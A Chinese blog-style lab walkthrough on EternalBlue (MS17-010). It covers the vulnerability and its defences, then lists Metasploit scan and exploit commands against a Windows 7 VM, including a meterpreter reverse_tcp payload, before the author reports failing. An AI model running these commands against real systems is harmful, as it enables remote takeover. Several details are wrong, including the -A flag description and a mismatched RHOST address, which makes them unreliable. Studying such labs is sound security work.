一、漏洞介绍
1.1 什么是永恒之蓝
永恒之蓝(EternalBlue)是一个网络安全漏洞,它影响微软Windows操作系统的SMB(服务器消息块)协议。这个漏洞最初由美国国家安全局(NSA)发现并用于其网络间谍活动。但后来,一个名为“影子经纪人”(Shadow Brokers)的神秘团体在2017年泄露了这个漏洞和其他一些工具。
1.2 漏洞原理
- 永恒之蓝(EternalBlue)漏洞的原理涉及对微软Windows操作系统中SMB(服务器消息块)协议的实现方式的攻击来获取系统的最高权限,以此来达到控制目标计算机的目的。通过永恒之蓝漏洞会扫描445文件共享端口的Windows机器,无需用户任何操作只要开机上网,就能被植入恶意程序。由此不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全球范围内遭受到病毒的攻击。
- SMB(Server Message Block)是一个协议服务器信息块,是一种客户机/服务器、请求/相应协议,通过SMB协议可以在计算机间共享文件等资源。SMB协议工作在应用层和会话层,可以用在TCP/IP协议上,使用TCP139和445端口
1.3漏洞的安全影响
该漏洞被广泛利用,其中最著名的是WannaCry勒索软件攻击,该攻击在2017年影响了全球数十万台计算机。由于这个漏洞的严重性和被利用的广泛性,它促使微软发布了针对已停止支持的Windows版本的补丁。
1.4 漏洞的防范措施
- 为系统安装最新的安全更新。
- 如果不需要,禁用SMB服务,特别是对于互联网直接可见的系统。
- 使用防火墙阻止来自不信任来源的SMB流量
二、环境配置
2.1 虚拟机环境
攻击机:kali 192.168.1.128
目标:Windows7 192.168.1.133
漏洞:MS17-010(永恒之蓝)
2.2matesploit框架
matesploit框架(Matesploit Framework,MSF)是一个开源工具,由Ruby程序语言编写的模块化框架,主要为后端提供用来测试的端口(如控制台、Web、CLI)。常用为控制台接口,通过该接口可以访问matesploit框架的所有插件(如payloads、利用模块、post模块等),还可使用第三方程序的插件(如sqlmap、nmap等)。
1. 检查更新
- apt update
- apt install metasploit-framework
2. 查看版本
- msfconsole -V
3. 进入攻击框架
- cd /usr/share/metasploit-framework
- msfconsole
三、复现过程
3.1 确定目标及漏洞
1. msfconsole进入MSF模式,再测试能不能ping通目标主机(192.168.1.133),用nmap扫描主机开放445端口,接下用msf测试一下漏洞是否存在。
- ping 192.168.1.133
- nmap -sS -A 192.168.1.133
-sS:使用TCP SYN扫描来隐藏扫描活动
-A:使用TCP SYN扫描来隐藏扫描活动。
搜索版本漏洞方法:
1. 网上搜索
2. 进入MSF模块后search
3. searchsploit xxx(IIS、Apache)
3.2 尝试攻击
1. 使用search ms17-010命令,搜索MS17-010漏洞模块
发现以下模块:
- exploits—漏洞利用攻击模块
- auxiliary—辅助扫描漏洞模块
0-4中如何选择?先选择扫描模块检测漏洞是否存在(2或3)
- 0:让靶机变蓝屏
- 1:用于主机横向渗透
- 4:SMB远程代码执行
2. 选择#1的auxiliary(辅助模块)先进行踩点,查看漏洞是否可以利用,再去进行渗透攻击
- use auxiliary/scanner/smb/smb\_ms17\_010
其次使用#show options 命令,查看需要设置的选项(Required为yes是必须设置的选项)
3. 设置目标地址与目标端口
- set RHOSTS 192.168.1.133
- set RPORT 445
最后使用run或者exploit命令去查看漏洞是否存在
Host is likely VULNERABLE to MS17-010! 这个主机存在MS17-010漏洞,可以去利用。 检测到该目标操作系统是Windows 7 专业版 接下来我们可以利用exploits模块进行渗透攻击。
有+号就可以攻击,可以进行IP范围扫描
3.3 利用exploist模块进行渗透
1. 在3.2步骤中已经检测到目标存在该漏洞,现在开始进行渗透。使用back命令退出辅助模块
2. 继续使用search MS17-010命令,搜索MS17-010模块
3. 在3.2的时候使用的是auxiliary模块进行的漏洞检测,这回我们使用exploit模块进行漏洞利用。
- use exploit/windows/smb/ms17_010_eternalblue
切换攻击模块
set payload windows/x64/meterpreter/reverse_tcp
4. 设置模块必要信息
更改靶机地址(win7)
set rhost 192.168.1.113更改攻击者IP(kali)
set lhost 192.168.1.128
使用show options命令,查看需要设置的参数
4. 运行!!!拿不下靶机
天呐,卡在这一步了!!各种尝试,有没有大佬救救命